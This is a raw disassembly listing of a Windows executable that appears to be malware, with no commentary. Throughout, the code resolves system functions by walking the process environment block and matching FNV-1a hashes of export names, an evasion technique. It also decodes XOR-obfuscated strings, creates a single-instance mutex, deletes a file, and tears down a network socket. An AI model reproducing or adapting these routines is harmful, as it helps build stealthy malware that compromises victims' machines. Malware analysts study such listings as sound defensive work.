mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460aa0
mov eax, dword [eax]
jmp 0x460a75
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460b74
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460b74
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460b6d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460b50
cmp esi, 0x71948ca4
je 0x460b78
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460b36
mov eax, dword [eax]
jmp 0x460b10
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460c09
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460c09
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460c02
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460be5
cmp esi, 0xfaba0065
je 0x460c0d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460bd0
mov eax, dword [eax]
jmp 0x460ba7
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x1fc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460ca4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460ca4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460c9d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460c80
cmp esi, 0xfaba0065
je 0x460ca8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460c66
mov eax, dword [eax]
jmp 0x460c40
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x1f8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460d44
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460d44
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460d3d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460d20
cmp esi, 0xfaba0065
je 0x460d48
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460d06
mov eax, dword [eax]
jmp 0x460ce0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x114]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460dd9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460dd9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460dd2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460db5
cmp esi, 0xfaba0065
je 0x460ddd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460da0
mov eax, dword [eax]
jmp 0x460d75
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460e69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460e69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460e62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460e45
cmp esi, 0xfaba0065
je 0x460e6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460e30
mov eax, dword [eax]
jmp 0x460e07
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460ef9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460ef9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460ef2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ed5
cmp esi, 0xfaba0065
je 0x460efd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460ec0
mov eax, dword [eax]
jmp 0x460e97
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x68]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xa6]
mov dword [ebp - 0xa6], 0x62786a21
mov word [ebp - 0xa2], 0x100
call fcn.00462220
lea ecx, [ebp - 0x7f]
mov word [ebp - 0x7f], 0x50
mov byte [ebp - 0x7d], 1
call fcn.004623d0
lea eax, [ebp - 0x7f]
push 0x532ad4
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x4d8]
call fcn.00468d70
add esp, 4
lea ecx, [ebp - 0x4c0]
mov edx, eax
call fcn.00468f90
lea ecx, [ebp - 0xa6]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460f83
sub ecx, esi
lea eax, [ebp - 0xa6]
push ecx
push eax
mov ecx, edx
call fcn.00467950
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004026b0
lea ecx, [ebp - 0x4c0]
call fcn.00402660
lea ecx, [ebp - 0x4d8]
call fcn.00402660
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x62786a21
mov word [ebp - 0x2c], 0x100
call fcn.00462220
mov edx, 0x20
lea ecx, [ebp - 0x508]
call fcn.0040c1d0
push eax
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x4f0]
call fcn.00468e90
lea ecx, [ebp - 0x30]
add esp, 4
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461000
sub ecx, esi
lea eax, [ebp - 0x30]
push ecx
push eax
mov ecx, edx
call fcn.00467950
push eax
lea ecx, [ebp - 0x37c]
call fcn.004026b0
lea ecx, [ebp - 0x4f0]
call fcn.00402660
lea ecx, [ebp - 0x508]
call fcn.00402660
mov ecx, 0x535180
call fcn.004027a0
lea ecx, [ebp - 0x37c]
mov ebx, eax
call fcn.004027a0
sub esp, 0x18
mov esi, eax
mov edi, esp
mov ecx, edi
push dword [ebp - 0x10]
call fcn.004027f0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461064
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.00402810
sub esp, 0x18
mov ecx, esp
push 0x532aec
call fcn.00465030
mov ecx, ebx
call fcn.00407220
add esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x18
lea eax, [ebp - 0x37c]
mov ecx, esp
push eax
call fcn.00465030
call fcn.0041ebb0
add esp, 0x30
lea ecx, [ebp - 0x37c]
call fcn.004027a0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x534ea3], 0
je 0x46115b
cmp byte [ebp - 0x15], 0
jne 0x46115b
sub esp, 0x10
mov ecx, esp
push 0x535148
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535040
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535110
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535100
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535060
call fcn.00462b40
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00465030
call fcn.00419e80
add esp, 0x78
test al, al
je 0x46115b
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x29c]
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x10
mov ecx, esp
push 0x535148
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535040
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535110
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535100
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535060
call fcn.00462b40
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00465030
call fcn.00444970
add esp, 0x90
lea ecx, [ebp - 0x37c]
call fcn.00402660
lea ecx, [ebp - 0x2ec]
call fcn.00402660
jmp 0x461290
cmp byte [0x534ea3], 0
je 0x461290
cmp byte [ebp - 0x15], 0
jne 0x461290
sub esp, 0x10
mov ecx, esp
push 0x535148
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535040
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535110
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535100
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535060
call fcn.00462b40
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00465030
call fcn.00419e80
add esp, 0x78
test al, al
je 0x461290
call fcn.00416130
lea ecx, [ebp - 0x304]
call fcn.00402660
lea ecx, [ebp - 0x31c]
call fcn.00402660
lea ecx, [ebp - 0x334]
call fcn.00402660
lea ecx, [ebp - 0x40c]
call fcn.00461620
lea ecx, [ebp - 0x414]
call fcn.00461680
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push str.ekk3k3j2j3k494m3kk43k56n34634nk634nklwjs6nty4s3kje6jk
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x534ea3], 0
je 0x46148a
cmp byte [ebp - 0x15], 0
je 0x46148a
sub esp, 0x10
mov ecx, esp
push 0x535148
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535040
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x5350f0
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535110
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535100
call fcn.00462b40
sub esp, 0x10
mov ecx, esp
push 0x535060
call fcn.00462b40
sub esp, 0x18
lea eax, [ebp - 0x240]
mov ecx, esp
push eax
call fcn.00465030
call fcn.00419e80
add esp, 0x78
test al, al
je 0x46148a
push 0x532b1c
lea ecx, [ebp - 0x1ed]
mov dword [ebp - 0x1ed], 0x71787c7c
mov dword [ebp - 0x1e9], 0x7f794778
mov dword [ebp - 0x1e5], 0x74587d73
mov word [ebp - 0x1e1], 0x7f
mov byte [ebp - 0x1df], 1
call fcn.0040a210
mov edx, eax
lea ecx, [ebp - 0x520]
call fcn.00468e30
add esp, 4
mov ecx, eax
call fcn.004027a0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x520]
call fcn.00402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4614c9
push 0x7530
call ebx
sub esp, 0x18
mov dword [ebp - 0x192], 0x515f4647
lea ecx, [ebp - 0x192]
mov dword [ebp - 0x18e], 0x7a79703d
mov word [ebp - 0x18a], 0x100
mov esi, esp
call fcn.0040e8b0
push eax
mov ecx, esi
call fcn.00402700
call fcn.0041e720
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x461483
nop
push 0x64
call ebx
mov ecx, dword [0x535168]
mov eax, 0x2aaaaaab
sub ecx, dword [0x535164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x461460
mov byte [0x534e81], 1
push 0xbb8
call ebx
push 2
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x532aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x534ea3], 0
je 0x4614c9
cmp byte [ebp - 0x15], 0
je 0x4614c9
nop word [eax + eax]
push 0x3e8
call ebx
jmp 0x4614c0
lea ecx, [ebp - 0x29c]
xor esi, esi
call fcn.00402660
lea ecx, [ebp - 0x3b8]
call fcn.00402660
lea ecx, [ebp - 0x240]
call fcn.00402660
mov ecx, dword [ebp - 0x200]
test ecx, ecx
je 0x4614fb
call fcn.00403560
lea ecx, [ebp - 0x3e8]
call fcn.00402660
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10